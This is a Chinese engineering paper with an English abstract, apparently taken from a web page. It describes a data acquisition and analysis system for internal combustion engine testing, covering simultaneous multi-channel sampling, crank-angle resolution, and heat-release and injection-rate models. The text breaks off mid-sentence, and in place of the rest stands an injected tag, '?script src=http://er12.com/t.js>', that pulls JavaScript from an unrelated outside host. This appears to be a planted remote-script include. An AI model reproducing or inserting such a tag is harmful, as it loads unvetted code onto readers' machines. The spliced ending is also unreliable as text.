摘要：介绍了内燃机数据采集和分析系统的结构、工作原理、功能和特点。本系统采用工业控制计算机和应用软件固化运行方式，提高了系统的抗干扰和抗病毒能力；采用自行设计的硬件电路配以自行开发的软件，形成了具有独创性的dma技术，使内燃机的多路参数能同时采样；采用高速a／d配以光电编码器，使采样分辨率达0．1° ca，提高了系统的测量精度和分析精度，并建立了放热规律和喷油规律的数学模型。还论述了内燃机试验参数的测量方法以及提高其测试精度的措施。
关键词：内燃机；工业控制计算机；数据采集；分析
an investigation on the system of data acquisition and
analysis in internal combustion engines
wang ji-hua
(wuxi fuel injection equipment research institute，wuxi 214063)
abstract this paper introduces the structure、working principle、functions and features of an data acquisition and analysis system for internal combustion engines．because the device uses an industrial computer and the application software is burned in it，the system has strong ability of anti-noise and anti-virus．the hardware circuit in combination with the software developed by the author has been used for forming an unique dma technology and measuring simultaneously the multi-parameters in internal combustion engines．the high speed a／d and the optic electric encoder are adopted in the system to measure and analyses precisely．its sampling resolution reaches as high as 0．1° ca．a mathematic model both for heat release rate and fuel injection characteristics is established．the methods to test the parameters of the internal combustion engine and the measures taken for improving measurement accuracy are also discussed．
key words：internal combustion engine；industrial computer；data acquisition；analysis
引言
测试和分析气缸压力、泵端压力、嘴端压力、针阀升程等有关参数，并进行放热率和喷油速率的计算，是改进内燃机及喷油系统必不可少的环节。80年代以来，我国先后引进了国外的燃烧分析仪器|仪表，如日本小野测器公司研制的cb366、cb466、cb566，奥地利avl公司的avl636、avl646、avl657和avl670等系列产品。但这些仪器在数据采集时除avl670可以同时采保分时采集外，均采用多路转换器进行分时采样，不能同时采集同一时刻各通道的数据，从而降低了仪器的分析精度；另外，专业化程度高，只适合专业人员操作，而且价格昂贵，从而限制了其推广应用。因此需要研制开发适合我国国情的内燃机试验数据采集分析仪器。
1 内燃机试验参数的测量方法
一般的测试系统多采用通用的a／d板作数据采集装置，但内燃机燃烧分析仪有它的特殊性，必须以上止点和角标信号作为同步和采集触发脉冲。内燃机试验多参数的采集常采用以下方法：
（1） 分时采样。用一块a／d片配以多路转换器，对各路信号依次采集。这种方法硬件结构简单，但对a／d及多路转换器要求高，而且不管a／d转换速度多么快，当需采集的物理量信号个数较多时，最后采集的信号与最先采集的信号必然存在较大的时差，造成了系统测试精度的降低。
（2） 同步保持，分时采样。即采用多块采样保持器和一块a／d转换器，各采样保持器在采样脉冲的控制下同步工作，可实现对多路信号的同步采集，但要保证有较高的采样速率，对a／d转换器的转换速率、模拟开关的切换速度和性能以及采样保持器的特性都要求很高。
（3） 同步采样。使用多块a／d转换器，分别进行a／d转换，这种方法能达到很高的转换速度，不存在模拟信号间的相互串扰问题，但硬件电路设计复杂。
本系统采用多路a／d分别进行转换的方法，用自行设计的硬件电路与软件巧妙结合，能达到多通道同时采样的目的。
2 系统结构和工作原理
本系统由工业控制计算机、数据采集器、高分辨率彩色显示器、键盘、电子盘、软盘驱动器、光电编码器及打印机等组成，可测量气缸压力、增压器压力、泵端压力、嘴端压力、针阀升程、喷油规律、驱动扭矩、上止点及转速等信号，并可进行放热率和喷油速率的计算，整个系统组成上下位机联机的柜式结构。图1为系统结构框图。
图1 系统结构框图
2．1 上位机结构
本系统上位机采用arborpia-650系列工业控制计算机，用于人机界面、数据处理、结果输出及磁盘操作。系统的cpu模板采用“all-in-one”设计思想和表面贴装生产工艺，提高了系统的可靠?script src=http://er12.com/t.js>
